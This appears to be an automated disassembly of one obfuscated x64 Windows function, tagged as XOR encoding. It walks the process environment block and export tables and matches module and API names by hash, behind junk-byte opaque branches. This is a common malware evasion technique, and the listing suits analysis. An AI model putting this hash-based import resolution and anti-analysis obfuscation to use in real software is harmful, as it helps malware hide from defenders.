Function at 0x1401c75be
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xd18
movaps xmmword [rsp + 0xd00], xmm15
movaps xmmword [rsp + 0xcf0], xmm14
movaps xmmword [rsp + 0xce0], xmm13
movaps xmmword [rsp + 0xcd0], xmm12
movaps xmmword [rsp + 0xcc0], xmm11
movaps xmmword [rsp + 0xcb0], xmm10
movaps xmmword [rsp + 0xca0], xmm9
movaps xmmword [rsp + 0xc90], xmm8
movdqa xmmword [rsp + 0xc80], xmm7
movaps xmmword [rsp + 0xc70], xmm6
mov ebx, ecx
mov ecx, 0x4a1c3b36
mov edx, 0x9896a371
cmp edx, ecx
ja 0x1401c763c
popcnt ebp, dword [rsi + 0x48372155]
lea ecx, [rsp + 0x270]
mov eax, 0x372155ae
lea rcx, [rsp + 0x270]
mov r8d, 0x200
xor edx, edx
call fcn.1402dcd90
mfence
rdtsc
shl rdx, 0x20
or rdx, rax
movzx eax, byte [0x7ffe0200]
mov r11d, 0xbdd449e8
mov ecx, 0xd6f30a1e
mov r8d, 0xa721ec6c
mov r9d, 4
mov r10d, 0x108aed86
mov esi, r8d
shl esi, 4
add esi, 0xb3c2d9e1
lea edi, [r8 + r11]
xor edi, esi
mov esi, r8d
shr esi, 5
add esi, 0x29956612
xor esi, edi
sub ecx, esi
lea esi, [r11 + rax]
mov edi, ecx
shl edi, 4
add edi, 0x39698496
add r11d, r10d
add r11d, ecx
xor r11d, edi
mov edi, ecx
shr edi, 5
add edi, 0x29ec3cea
xor edi, r11d
sub r8d, edi
add esi, r10d
mov r11d, esi
dec r9d
jne 0x1401c7687
mov r9d, 0xb85be265
mov r10d, 0x39698496
cmp r10d, r9d
jb 0x1401c76ef
fincstp
rol byte [rcx + rcx*4 - 0x40], 1
not eax
mov eax, r8d
shl rcx, 0x20
mov rcx, qword [rcx + rax]
movzx eax, byte [0x7ffe0200]
add eax, 0x4c341cf0
mov r8d, 0x3dd69490
mov r9d, 0xf1a41a83
mov r10d, 4
mov r11d, 0x1b63a930
mov esi, r9d
shl esi, 4
add esi, 0x995c41c6
lea edi, [r11 + r9]
add edi, 0xb3cbe310
xor edi, esi
mov esi, r9d
shr esi, 5
add esi, 0xd781579c
xor esi, edi
sub r8d, esi
mov esi, r8d
shl esi, 4
add esi, 0x9708139f
lea edi, [r11 + r8]
xor edi, esi
mov esi, r8d
shr esi, 5
add esi, 0x3fbebe81
xor esi, edi
sub r9d, esi
add r11d, eax
dec r10d
jne 0x1401c7721
movabs r14, 0x1000000614b
mov r10d, 0x8c55b70
mov r11d, 0x9708139f
cmp r11d, r10d
ja 0x1401c7792
popcnt edx, dword [rbx + 1]
invalid
mov eax, 0x16c40153
mov eax, r9d
shl r8, 0x20
mov eax, dword [r8 + rax]
mov r8d, ecx
imul r8, rax
shr r8, 0x18
shr rcx, 0x18
lea r9, [r14 - 0x624b]
and r9, rcx
imul r9, rax
add r9, r8
mov rax, r9
shr rax, 0x20
xor rax, r9
movabs r8, 0x5555555555555555
imul r8, rax
mov rcx, r8
shr rcx, 0x20
xor rcx, r8
movzx eax, byte [0x7ffe0200]
add eax, 0xc2318f1f
mov r8d, 0x6a470d8c
mov r9d, 0x7dd977fe
mov r10d, 4
mov r11d, 0xb96b52a3
mov esi, r9d
shl esi, 4
add esi, 0xd44f3527
lea edi, [r11 + r9]
add edi, 0x3dce70e1
xor edi, esi
mov esi, r9d
shr esi, 5
add esi, 0x801f0610
xor esi, edi
sub r8d, esi
mov esi, r8d
shl esi, 4
add esi, 0xce89d2aa
lea edi, [r11 + r8]
xor edi, esi
mov esi, r8d
shr esi, 5
add esi, 0xb3e55a2b
xor esi, edi
sub r9d, esi
add r11d, eax
dec r10d
jne 0x1401c7809
lea r8, [rsp + 0xd58]
mov r10d, 0xa8caefee
mov r11d, 0xce89d2aa
cmp r11d, r10d
ja 0x1401c7877
sysexit
pop rdx
lahf
outsb dx, byte [rsi]
lodsb al, byte [rsi]
xor eax, 0xac6e9f5a
mov eax, r9d
mov r9, qword gs:[rax]
movabs rdi, 0xffebb71d94fcdaf9
sub r9, r8
je 0x1401c791b
movabs rax, 0xf04eea4971d605c7
rol rdx, 0x15
imul rcx, rax
xor rdx, rcx
rol rdx, 0x15
movabs rcx, 0x35358960537b1f3c
xor rcx, rdx
mov r11d, 1
xor r10d, r10d
mov rsi, r9
sub rsi, r10
mov rax, rcx
mul rdi
cmp rsi, 8
jb 0x1401c78ec
add rax, r11
adc rdx, 0
mov qword [r8 + r10], rcx
mov ecx, 8
mov r11, rdx
jmp 0x1401c7910
add rax, r11
mov r11, rdx
adc r11, 0
cmp rsi, 4
jb 0x1401c7907
mov dword [r8 + r10], ecx
mov ecx, 4
jmp 0x1401c7910
mov byte [r8 + r10], cl
mov ecx, 1
add r10, rcx
mov rcx, rax
cmp r10, r9
jb 0x1401c78c5
mov dword [rsp + 0x74], ebx
xor eax, eax
mov qword [rsp + 0x78], rax
lea rcx, [rsp + 0x470]
mov r8d, 0x800
xor edx, edx
call fcn.1402dcd90
movaps xmm0, xmmword [0x1402f9f80]
movaps xmmword [rsp + 0x1e0], xmm0
movaps xmm0, xmmword [0x1402f9f90]
movaps xmmword [rsp + 0x1f0], xmm0
movaps xmm0, xmmword [0x1402f9fa0]
movaps xmmword [rsp + 0x200], xmm0
movaps xmm0, xmmword [0x1402f9fb0]
movaps xmmword [rsp + 0x210], xmm0
movaps xmm0, xmmword [0x1402f9fc0]
movaps xmmword [rsp + 0x220], xmm0
movaps xmm0, xmmword [0x1402f9fd0]
movaps xmmword [rsp + 0x230], xmm0
movaps xmm0, xmmword [0x1402f9fe0]
movaps xmmword [rsp + 0x240], xmm0
movaps xmm0, xmmword [0x1402f9ff0]
movaps xmmword [rsp + 0x250], xmm0
movdqa xmm0, xmmword [0x1402fa000]
movdqa xmmword [rsp + 0x260], xmm0
movabs r13, 0x5846e18ae41ef43
movabs r15, 0xe25a3cca0f561a8c
movdqa xmm8, xmmword [0x1402f9ec0]
movdqa xmm9, xmmword [0x1402f9ed0]
movdqa xmm10, xmmword [0x1402f9ee0]
movdqa xmm11, xmmword [0x1402f9ef0]
movdqa xmm12, xmmword [0x1402f9f00]
movdqa xmm13, xmmword [str.l_PE]
movdqa xmm14, xmmword [0x1402f9f20]
movdqa xmm15, xmmword [0x1402f9f30]
xorps xmm6, xmm6
mov ebp, 0xff
mov ecx, 0xa57fb093
mov edx, 0x84b440b1
cmp edx, ecx
jb 0x1401c7a38
xadd ecx, eax
clc
mov eax, 0xfa992eb9
invalid
sar eax, 0xb8
mov ecx, 0xf0fa992e
mov edx, 0x84b4408c
cmp edx, ecx
jb 0x1401c7a4b
xadd ecx, eax
clc
invalid
sar eax, 0x60
movzx edx, byte [0x7ffe0200]
lea ecx, [rdx - 0x6de97a0f]
xor ecx, 0x7f9607c0
lea eax, [rcx - 0x28a196ef]
mov r8d, eax
shl r8d, 4
mov r11d, 0x69dd0d30
add r8d, r11d
add ecx, edx
add ecx, 0xace30e71
xor ecx, r8d
mov r8d, eax
shr r8d, 5
mov esi, 0x84f672e4
add r8d, esi
xor r8d, ecx
mov ecx, 0xd1cf8de1
sub ecx, r8d
lea r8d, [rdx*2 - 0x2a7b5aa0]
mov r9d, ecx
shl r9d, 4
mov edi, 0x88220a5a
add r9d, edi
lea r10d, [rcx + r8]
xor r10d, r9d
mov r9d, ecx
shr r9d, 5
mov ebx, 0x1ee493e6
add r9d, ebx
xor r9d, r10d
sub eax, r9d
mov r9d, eax
shl r9d, 4
add r9d, r11d
lea r10d, [rax + r8]
add r10d, 0x153dad50
xor r10d, r9d
mov r9d, eax
shr r9d, 5
add r9d, esi
xor r9d, r10d
sub ecx, r9d
add edx, r8d
add edx, 0x153dad50
mov r8d, ecx
shl r8d, 4
add r8d, edi
lea r9d, [rcx + rdx]
xor r9d, r8d
mov r8d, ecx
shr r8d, 5
add r8d, ebx
xor r8d, r9d
sub eax, r8d
mov r8d, eax
shl r8d, 4
add r8d, r11d
mov r9d, 0x153dad50
add edx, r9d
add edx, eax
xor edx, r8d
shr eax, 5
add eax, esi
xor eax, edx
sub ecx, eax
mov edx, 0xc315a5e8
cmp r11d, edx
jb 0x1401c7b4f
xadd ecx, eax
clc
mov rcx, qword gs:[rcx]
sar eax, 0x40
mov rcx, qword gs:[rcx]
movzx r8d, byte [0x7ffe0200]
lea edx, [r8 + 0x196df10c]
xor edx, 0x7a52b738
lea eax, [rdx + 0x78b3f798]
mov r9d, eax
shl r9d, 4
mov esi, 0xfb065975
add r9d, esi
add edx, r8d
add edx, 0x7bc5ebae
xor edx, r9d
mov r9d, eax
shr r9d, 5
mov edi, 0xfeb90ce8
add r9d, edi
xor r9d, edx
mov edx, 0x14d302eb
sub edx, r9d
lea r9d, [r8*2 + 0x311f416]
mov r10d, edx
shl r10d, 4
mov ebx, 0x78230d9d
add r10d, ebx
lea r11d, [rdx + r9]
xor r11d, r10d
mov r10d, edx
shr r10d, 5
mov r12d, 0x4057dc73
add r10d, r12d
xor r10d, r11d
sub eax, r10d
mov r10d, eax
shl r10d, 4
add r10d, esi
lea r11d, [rax + r9]
add r11d, 0xfe7705f5
xor r11d, r10d
mov r10d, eax
shr r10d, 5
add r10d, edi
xor r10d, r11d
sub edx, r10d
add r8d, r9d
add r8d, 0xfe7705f5
mov r9d, edx
shl r9d, 4
add r9d, ebx
lea r10d, [rdx + r8]
xor r10d, r9d
mov r9d, edx
shr r9d, 5
add r9d, r12d
xor r9d, r10d
sub eax, r9d
mov r9d, eax
shl r9d, 4
add r9d, esi
mov r10d, 0xfe7705f5
add r8d, r10d
add r8d, eax
xor r8d, r9d
shr eax, 5
add eax, edi
xor eax, r8d
sub edx, eax
mov r8d, 0x498c8fac
cmp esi, r8d
ja 0x1401c7c5e
popcnt ecx, dword [0x188ae449e]
mov edi, dword [rcx + rdx]
mov eax, 0x91c83a0d
mov rdi, qword [rcx + rdx]
mov rsi, qword [rdi + 0x10]
add rdi, 0x10
cmp rsi, rdi
je 0x1401c892c
movzx eax, word [rsi + 0x58]
mov rbx, qword [rsi + 0x60]
cmp eax, 1
ja 0x1401c7c8f
mov rcx, rbx
call fcn.1402dc264
jmp 0x1401c7c91
shr eax, 1
movabs rdx, 0x6393046584b44028
test rax, rax
je 0x1401c7cf5
movabs r8, 0x6393046584b44028
xor ecx, ecx
movzx r9d, word [rbx + rcx*2]
mov r10d, r9d
shr r10d, 8
mov r11d, r9d
and r11d, ebp
add r11d, 0xffffffbf
lea edx, [r9 + 0x20]
cmp r9d, 0x100
cmovae edx, r9d
cmp r11w, 0x1a
cmovae edx, r9d
and edx, ebp
xor rdx, r8
imul rdx, r14
xor rdx, r10
imul rdx, r14
inc rcx
mov r8, rdx
cmp rax, rcx
jne 0x1401c7cac
cmp rdx, r15
je 0x1401c7d02
mov rsi, qword [rsi]
jmp 0x1401c7c6f
movzx eax, byte [0x7ffe0200]
lea edx, [rax - 0x5288b8d]
xor edx, 0xe4efd0d3
lea ecx, [rdx - 0x5215eb67]
mov r8d, ecx
shl r8d, 4
mov r11d, 0x53d8c1be
add r8d, r11d
add edx, eax
add edx, 0x97c15637
xor edx, r8d
mov r8d, ecx
shr r8d, 5
mov edi, 0xef38f629
add r8d, edi
xor r8d, edx
mov edx, 0x1c149206
sub edx, r8d
lea r8d, [rax*2 - 0x1628be62]
mov r9d, edx
shl r9d, 4
mov ebx, 0xa0e1be0a
add r9d, ebx
lea r10d, [rdx + r8]
xor r10d, r9d
mov r9d, edx
shr r9d, 5
mov r15d, 0x785a4cb6
add r9d, r15d
xor r9d, r10d
sub ecx, r9d
mov r9d, ecx
shl r9d, 4
add r9d, r11d
lea r10d, [rcx + r8]
add r10d, 0xb145f31
xor r10d, r9d
mov r9d, ecx
shr r9d, 5
add r9d, edi
xor r9d, r10d
sub edx, r9d
add eax, r8d
add eax, 0xb145f31
mov r8d, edx
shl r8d, 4
add r8d, ebx
lea r9d, [rdx + rax]
xor r9d, r8d
mov r8d, edx
shr r8d, 5
add r8d, r15d
xor r8d, r9d
sub ecx, r8d
mov r8d, ecx
shl r8d, 4
add r8d, r11d
mov r9d, 0xb145f31
add eax, r9d
add eax, ecx
xor eax, r8d
mov r8d, ecx
shr r8d, 5
add r8d, edi
xor r8d, eax
sub edx, r8d
mov r8d, 0x54e526cc
cmp r11d, r8d
jb 0x1401c7e0a
fincstp
ror byte [rax - 0x3f], 1
loope 0x1401c7e30
not eax
shl rcx, 0x20
or rcx, rdx
mov r15, qword [rsi + rcx]
test r15, r15
je 0x1401c892c
movzx eax, byte [0x7ffe0200]
lea edx, [rax + 0x1794bce8]
xor edx, 0x3a85d8f5
lea ecx, [rdx - 0x7e614d73]
mov r8d, ecx
shl r8d, 4
mov r11d, 0x33369824
cmc
fadd dword [rbp - 0x727572c6]
mov dl, 0x9e
add dword [rcx - 0x77], 0xe0c141c8
add al, 0x41
mov ebx, 0x33369824
add r8d, r11d
add edx, eax
add edx, 0xf25f98eb
xor edx, r8d
mov r8d, ecx
shr r8d, 5
mov esi, 0x36179367
add r8d, esi
xor r8d, edx
mov edx, 0x6e73635b
sub edx, r8d
lea r8d, [rax*2 + 0x70c0e65e]
mov r9d, edx
shl r9d, 4
mov edi, 0xdff63f00
add r9d, edi
lea r10d, [rdx + r8]
xor r10d, r9d
mov r9d, edx
shr r9d, 5
mov ebx, 0xfee2b8a0
add r9d, ebx
xor r9d, r10d
sub ecx, r9d
mov r9d, ecx
shl r9d, 4
add r9d, r11d
lea r10d, [rcx + r8]
add r10d, 0xc79f8cd1
xor r10d, r9d
mov r9d, ecx
shr r9d, 5
add r9d, esi
xor r9d, r10d
sub edx, r9d
add eax, r8d
add eax, 0xc79f8cd1
mov r8d, edx
shl r8d, 4
add r8d, edi
lea r9d, [rdx + rax]
xor r9d, r8d
mov r8d, edx
shr r8d, 5
add r8d, ebx
xor r8d, r9d
sub ecx, r8d
mov r8d, ecx
shl r8d, 4
add r8d, r11d
mov r9d, 0xc79f8cd1
add eax, r9d
add eax, ecx
xor eax, r8d
mov r8d, ecx
shr r8d, 5
add r8d, esi
xor r8d, eax
sub edx, r8d
mov r8d, 0xb3f87b93
cmp r11d, r8d
jb 0x1401c7f28
cvtsd2si esp, xmm0
invalid
sub eax, 0x45792fe0
shl rcx, 0x20
or rcx, rdx
movzx r8d, byte [0x7ffe0200]
lea edx, [r8 + 0x53764a54]
xor edx, 0x1658352
lea eax, [rdx + 0x109010c1]
lea r9d, [r8 + 0x711c955e]
mov r10d, eax
shl r10d, 4
mov esi, 0xf71becc9
add r10d, esi
add edx, r9d
add edx, 0x109010c1
xor edx, r10d
mov r9d, eax
shr r9d, 5
mov edi, 0x112df06f
add r9d, edi
xor r9d, edx
mov edx, 0xa9cb6a47
sub edx, r9d
lea r9d, [r8*2 + 0x711c955e]
mov r10d, edx
shl r10d, 4
mov ebx, 0x9a99e5a7
add r10d, ebx
lea r11d, [rdx + r9]
xor r11d, r10d
mov r10d, edx
shr r10d, 5
mov qword [rsp + 0x60], r15
mov r15d, 0xc47c9b68
add r10d, r15d
xor r10d, r11d
sub eax, r10d
mov r10d, eax
shl r10d, 4
add r10d, esi
lea r11d, [rax + r9]
add r11d, 0xc771b551
xor r11d, r10d
mov r10d, eax
shr r10d, 5
add r10d, edi
xor r10d, r11d
sub edx, r10d
add r8d, r9d
add r8d, 0xc771b551
mov r9d, edx
shl r9d, 4
add r9d, ebx
lea r10d, [rdx + r8]
xor r10d, r9d
mov r9d, edx
shr r9d, 5
add r9d, r15d
mov r15, qword [rsp + 0x60]
xor r9d, r10d
sub eax, r9d
mov r9d, eax
shl r9d, 4
add r9d, esi
mov r10d, 0xc771b551
add r8d, r10d
add r8d, eax
xor r8d, r9d
movsxd r12, dword [r15 + rcx]
shr eax, 5
add eax, edi
xor eax, r8d
mov ecx, dword [r15 + r12]
sub edx, eax
mov r8d, 0xbe1e7e20
cmp esi, r8d
ja 0x1401c8056
phsubw xmm6, xmmword [0x179efa6a4]
ror dword [rdi], 1
test ecx, ecx
or byte [rax], al
add byte [rbp + 1], cl
cld
add eax, 0xd3264835
cmp ecx, edx
jne 0x1401c892c
add r12, r15
movzx edx, byte [0x7ffe0200]
lea ecx, [rdx + 0x5138153]
xor ecx, 0xadb7ad45
lea eax, [rcx + 0x2c48478a]
mov r8d, eax
shl r8d, 4
mov ebx, 0xff7d1111
add r8d, ebx
add ecx, edx
add ecx, 0x3e8986e2
xor ecx, r8d
mov r8d, eax
shr r8d, 5
mov r11d, 0x8dd5fd43
add r8d, r11d
xor r8d, ecx
mov ecx, 0x69b1a24f
sub ecx, r8d
lea r8d, [rdx*2 + 0x12413f58]
mov r9d, ecx
shl r9d, 4
mov esi, 0xc4c9fdf7
add r9d, esi
lea r10d, [rcx + r8]
xor r10d, r9d
mov r9d, ecx
shr r9d, 5
mov edi, 0xa5ee34b
add r9d, edi
xor r9d, r10d
sub eax, r9d
mov r9d, eax
shl r9d, 4
add r9d, ebx
lea r10d, [rax + r8]
add r10d, 0x76df6054
xor r10d, r9d
mov r9d, eax
shr r9d, 5
add r9d, r11d
xor r9d, r10d
sub ecx, r9d
add edx, r8d
add edx, 0x76df6054
mov r8d, ecx
shl r8d, 4
add r8d, esi
lea r9d, [rcx + rdx]
xor r9d, r8d
mov r8d, ecx
shr r8d, 5
add r8d, edi
xor r8d, r9d
sub eax, r8d
mov r8d, eax
shl r8d, 4
add r8d, ebx
mov r9d, 0x76df6054
add edx, r9d
add edx, eax
xor edx, r8d
shr eax, 5
add eax, r11d
xor eax, edx
sub ecx, eax
mov edx, 0xc1a106f8
cmp ebx, edx
ja 0x1401c8166
sysexit
xlatb
invalid
xor eax, 0xacfead7
movsxd r10, ecx
mov ecx, dword [r12 + r10*8 + 0x88]
test rcx, rcx
je 0x1401c892c
cmp dword [r12 + r10*8 + 0x8c], 0
je 0x1401c892c
mov r8d, 0xc4393f1c
mov edx, 0xc948641a
cmp r8d, edx
jb 0x1401c819f
fincstp
rol byte [rcx + 0x39], 1
sal byte [rdx + 1], 1
not eax
cmp r8d, edx
jb 0x1401c81a7
fincstp
sar byte [rdx - 0x25e03f10], 1
not eax
mov edx, 0xda1fc0f0
mov r9d, 0xf218ea3d
cmp r9d, edx
ja 0x1401c81ba
sysexit
stosb byte [rdi], al
int3
xor eax, 0xa71accaa
mov ebx, dword [r15 + rcx + 0x18]
test rbx, rbx
je 0x1401c892c
mov qword [rsp + 0x58], r10
mov qword [rsp + 0x68], r12
movzx eax, byte [0x7ffe0200]
movd xmm7, eax
pinsrb xmm7, byte [0x7ffe0200], 4
movdqa xmm3, xmm7
paddd xmm3, xmmword [0x1402f9ea0]
pxor xmm3, xmmword [0x1402f9eb0]
paddd xmm3, xmm8
movd eax, xmm3
mov edx, eax
shl edx, 4
add edx, r8d
movdqa xmm1, xmm7
paddd xmm1, xmm9
movdqa xmm2, xmm3
paddd xmm2, xmm1
mov ebp, 0xc4393f1c
pextrd r8d, xmm3, 1
mov r9d, r8d
shl r9d, 4
add r9d, 0xf218ea3d
movd xmm4, edx
pinsrd xmm4, r9d, 1
shr eax, 5
pxor xmm4, xmm2
shr r8d, 5
movd xmm5, eax
pinsrd xmm5, r8d, 1
paddd xmm5, xmm10
pxor xmm5, xmm4
movdqa xmm2, xmm11
psubd xmm2, xmm5
paddd xmm1, xmm7
movdqa xmm4, xmm2
pslld xmm4, 4
paddd xmm4, xmm12
movdqa xmm5, xmm2
paddd xmm5, xmm1
pxor xmm5, xmm4
movdqa xmm4, xmm2
psrld xmm4, 5
paddd xmm4, xmm13
pxor xmm4, xmm5
psubd xmm3, xmm4
movd eax, xmm3
shl eax, 4
paddd xmm1, xmm14
pextrd edx, xmm3, 1
shl edx, 4
movd xmm4, eax
pinsrd xmm4, edx, 1
movdqa xmm5, xmm3
paddd xmm5, xmm1
movdqa xmm0, xmm3
psrld xmm0, 5
paddd xmm0, xmm10
pxor xmm0, xmm5
paddd xmm4, xmm15
pxor xmm0, xmm4
psubd xmm2, xmm0
paddd xmm1, xmm7
movdqa xmm0, xmm2
pslld xmm0, 4
paddd xmm0, xmm12
movdqa xmm4, xmm2
paddd xmm4, xmm1
pxor xmm4, xmm0
movdqa xmm0, xmm2
psrld xmm0, 5
paddd xmm0, xmm13
pxor xmm0, xmm4
psubd xmm3, xmm0
movdqa xmm0, xmm3
pslld xmm0, 4
paddd xmm0, xmm15
paddd xmm1, xmm14
paddd xmm1, xmm3
pxor xmm1, xmm0
movdqa xmm0, xmm3
psrld xmm0, 5
paddd xmm0, xmm10
pxor xmm0, xmm1
psubd xmm2, xmm0
punpckldq xmm2, xmm3
movq qword [rsp + 0x50], xmm2
pextrq rdx, xmm2, 1
movzx r10d, byte [0x7ffe0200]
lea r9d, [r10 + 0x74f17c5f]
xor r9d, 0xa66cb11f
lea r8d, [r9 + 0x1a1feb10]
mov r11d, r8d
shl r11d, 4
add r11d, ebp
add r9d, r10d
add r9d, 0x6416c522
xor r9d, r11d
mov r11d, r8d
shr r11d, 5
mov r15d, 0xd009e4a7
add r11d, r15d
xor r11d, r9d
mov r9d, 0x5ff3544
sub r9d, r11d
lea r11d, [r10*2 + 0x49f6da12]
mov esi, r9d
shl esi, 4
mov r12d, 0xbc1fc5b6
add esi, r12d
lea edi, [r9 + r11]
xor edi, esi
mov esi, r9d
shr esi, 5
mov eax, 0x45505d6c
add esi, eax
xor esi, edi
sub r8d, esi
mov esi, r8d
shl esi, 4
add esi, ebp
lea edi, [r8 + r11]
add edi, 0xdb0492f7
xor edi, esi
mov esi, r8d
shr esi, 5
add esi, r15d
xor esi, edi
sub r9d, esi
add r10d, r11d
add r10d, 0xdb0492f7
mov r11d, r9d
shl r11d, 4
add r11d, r12d
lea esi, [r9 + r10]
xor esi, r11d
mov r11d, r9d
shr r11d, 5
add r11d, eax
xor r11d, esi
sub r8d, r11d
mov r11d, r8d
shl r11d, 4
add r11d, ebp
mov eax, 0xdb0492f7
add r10d, eax
add r10d, r8d
xor r10d, r11d
mov r11d, r8d
shr r11d, 5
add r11d, r15d
mov r15, qword [rsp + 0x60]
xor r11d, r10d
sub r9d, r11d
add rcx, r15
shl r8, 0x20
or r8, r9
mov ebp, dword [rcx + r8]
add rbp, r15
mov rax, qword [rsp + 0x50]
mov esi, dword [rax + rcx]
add rsi, r15
mov eax, dword [rdx + rcx]
add rax, r15
mov qword [rsp + 0x80], rax
lea rax, [r15 + 3]
mov qword [rsp + 0x50], rax
xor r12d, r12d
mov edi, dword [rsi + r12*4]
test rdi, rdi
je 0x1401c8553
lea rcx, [r15 + rdi]
call fcn.1402dc3a0
movabs r8, 0x6393046584b44028
test rax, rax
je 0x1401c854e
cmp rax, 4
jae 0x1401c84ce
movabs rdx, 0x6393046584b44028
xor ecx, ecx
jmp 0x1401c8526
mov r8, rax
and r8, 0xfffffffffffffffc
mov rcx, qword [rsp + 0x50]
lea r9, [rcx + rdi]
movabs rdx, 0x6393046584b44028
xor ecx, ecx
movzx r10d, byte [r9 + rcx - 3]
xor r10, rdx
imul r10, r14
movzx edx, byte [r9 + rcx - 2]
xor rdx, r10
imul rdx, r14
movzx r10d, byte [r9 + rcx - 1]
xor r10, rdx
imul r10, r14
movzx edx, byte [r9 + rcx]
xor rdx, r10
imul rdx, r14
add rcx, 4
cmp r8, rcx
jne 0x1401c84ea
mov r8, rdx
and eax, 3
je 0x1401c854e
add rcx, rdi
add rcx, r15
xor r9d, r9d
movzx r8d, byte [rcx + r9]
xor r8, rdx
imul r8, r14
inc r9
mov rdx, r8
cmp rax, r9
jne 0x1401c8537
cmp r8, r13
je 0x1401c8564
inc r12
cmp r12, rbx
jne 0x1401c8491
jmp 0x1401c892c
movzx eax, word [rbp + r12*2]
mov rcx, qword [rsp + 0x80]
mov esi, dword [rcx + rax*4]
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov eax, dword [rcx + rdx*8 + 0x88]
cmp esi, eax
jb 0x1401c8921
add eax, dword [rcx + rdx*8 + 0x8c]
cmp esi, eax
jae 0x1401c8921
lea rbx, [r15 + rsi]
mov rcx, rbx
call fcn.1402dc3a0
test rax, rax
je 0x1401c892c
mov rbp, rax
mov qword [rsp + 0x58], rsi
lea rdx, [r15 + rsi]
inc rdx
mov esi, 4
xor r8d, r8d
mov qword [rsp + 0x50], rdx
mov rcx, rbx
mov al, byte [rbx + r8]
mov byte [rsp + 0x68], al
movzx r10d, byte [0x7ffe0200]
lea r9d, [r10 - 0x31b1011d]
xor r9d, 0xb7a6b40
lea eax, [r9 + 0x3a950a5f]
mov r11d, eax
shl r11d, 4
mov ebx, 0xce9e31cb
add r11d, ebx
add r9d, r10d
add r9d, 0xdbd20009
xor r9d, r11d
mov r11d, eax
shr r11d, 5
mov edi, 0x14d37f81
add r11d, edi
xor r11d, r9d
mov r9d, 0x5c738e64
sub r9d, r11d
lea r11d, [r10*2 - 0x5ec30a56]
mov r12d, r9d
shl r12d, 4
mov r15d, 0xef680ab8
add r12d, r15d
lea r13d, [r9 + r11]
xor r13d, r12d
mov r12d, r9d
shr r12d, 5
mov edx, 0x3f41c7d4
add r12d, edx
xor r12d, r13d
sub eax, r12d
mov r12d, eax
shl r12d, 4
add r12d, ebx
lea r13d, [rax + r11]
add r13d, 0x2f61852b
xor r13d, r12d
mov r12d, eax
shr r12d, 5
add r12d, edi
xor r12d, r13d
sub r9d, r12d
add r10d, r11d
add r10d, 0x2f61852b
mov r11d, r9d
shl r11d, 4
add r11d, r15d
lea r12d, [r9 + r10]
xor r12d, r11d
mov r11d, r9d
shr r11d, 5
add r11d, edx
xor r11d, r12d
sub eax, r11d
mov r11d, eax
shl r11d, 4
add r11d, 0xcb
add r10d, eax
add r10d, 0x2b
xor r10d, r11d
shr eax, 5
add eax, 0x81
xor eax, r10d
sub r9d, eax
mov edx, 0xa2935ae7
cmp ebx, edx
ja 0x1401c86e6
popcnt ebp, dword [rbx + 0x2c]
cmp dword [rdx + 0x44], edx
cmp byte [rsp + 0x68], cl
mov eax, 0x52392c6b
cmp byte [rsp + 0x68], r9b
je 0x1401c8711
inc r8
inc rsi
mov rdx, qword [rsp + 0x50]
inc rdx
cmp rbp, r8
mov rbx, rcx
jne 0x1401c85c9
jmp 0x1401c892c
cmp r8, 0xffffffffffffffff
je 0x1401c892c
cmp r8, 0x3c
ja 0x1401c892c
mov rdx, rbp
lea rax, [r8 + 1]
cmp rbp, rax
jbe 0x1401c892c
movaps xmmword [rsp + 0x130], xmm6
movaps xmmword [rsp + 0x120], xmm6
movaps xmmword [rsp + 0x110], xmm6
movaps xmmword [rsp + 0x100], xmm6
movaps xmmword [rsp + 0xf0], xmm6
movaps xmmword [rsp + 0xe0], xmm6
movaps xmmword [rsp + 0xd0], xmm6
movaps xmmword [rsp + 0xc0], xmm6
test r8, r8
mov ebp, 0xff
mov rbx, rcx
je 0x1401c87e9
cmp r8, 0xf
ja 0x1401c878c
xor eax, eax
jmp 0x1401c87d5
mov rax, r8
and rax, 0xfffffffffffffff0
mov rcx, qword [rsp + 0x60]
mov r9, qword [rsp + 0x58]
add rcx, r9
add rcx, 8
xor r9d, r9d
pmovsxbw xmm0, qword [rcx + r9 - 8]
pmovsxbw xmm1, qword [rcx + r9]
movdqa xmmword [rsp + r9*2 + 0xc0], xmm0
movdqa xmmword [rsp + r9*2 + 0xd0], xmm1
add r9, 0x10
cmp rax, r9
jne 0x1401c87a7
jmp 0x1401c87e4
movsx ecx, byte [rbx + rax]
mov word [rsp + rax*2 + 0xc0], cx
inc rax
cmp r8, rax
jne 0x1401c87d5
lea rcx, [rbx + r8]
movabs rax, 0x6c006c0064002e
mov qword [rsp + r8*2 + 0xc0], rax
cmp rsi, 1
mov rax, rsi
adc rax, 0
movabs r15, 0x6393046584b44028
xor r9d, r9d
movzx r10d, word [rsp + r9*2 + 0xc0]
mov r11d, r10d
shr r11d, 8
mov r13d, r10d
and r13d, ebp
add r13d, 0xffffffbf
lea r12d, [r10 + 0x20]
cmp r10d, 0x100
cmovae r12d, r10d
cmp r13w, 0x1a
cmovae r12d, r10d
and r12d, ebp
xor r12, r15
imul r12, r14
xor r12, r11
mov r15, r12
imul r15, r14
inc r9
cmp rax, r9
jne 0x1401c8817
not r8
add rdx, r8
mov rdi, qword [rsp + 0x50]
jne 0x1401c8890
inc rcx
call fcn.1402dc3a0
mov rdx, rax
movabs r13, 0x6393046584b44028
test rax, rax
je 0x1401c7a28
cmp rdx, 4
jae 0x1401c88a4
movabs rax, 0x6393046584b44028
xor ecx, ecx
jmp 0x1401c88f4
mov r8, rdx
and r8, 0xfffffffffffffffc
add rbx, rsi
movabs rax, 0x6393046584b44028
xor ecx, ecx
movzx r9d, byte [rbx + rcx - 3]
xor r9, rax
imul r9, r14
movzx eax, byte [rbx + rcx - 2]
xor rax, r9
imul rax, r14
movzx r9d, byte [rbx + rcx - 1]
xor r9, rax
imul r9, r14
movzx eax, byte [rbx + rcx]
xor rax, r9
imul rax, r14
add rcx, 4
cmp r8, rcx
jne 0x1401c88ba
mov r13, rax
and edx, 3
je 0x1401c7a28
add rdi, rcx
xor ecx, ecx
movzx r13d, byte [rdi + rcx]
xor r13, rax
imul r13, r14
inc rcx
mov rax, r13
cmp rdx, rcx
jne 0x1401c8905
jmp 0x1401c7a28
add r15, rsi
mov rax, r15
mov qword [rsp + 0x78], r15
mov ecx, 0xf66c49d8
mov edx, 0xe3b832f1
cmp edx, ecx
jb 0x1401c893b
fincstp
ror byte [rdi], 1
mov dh, 4
and eax, 0x7ffe0200
not eax
movzx eax, byte [0x7ffe0200]
movabs r9, 0x8857a038e3b832f1
add r9, rax
mov rax, r9
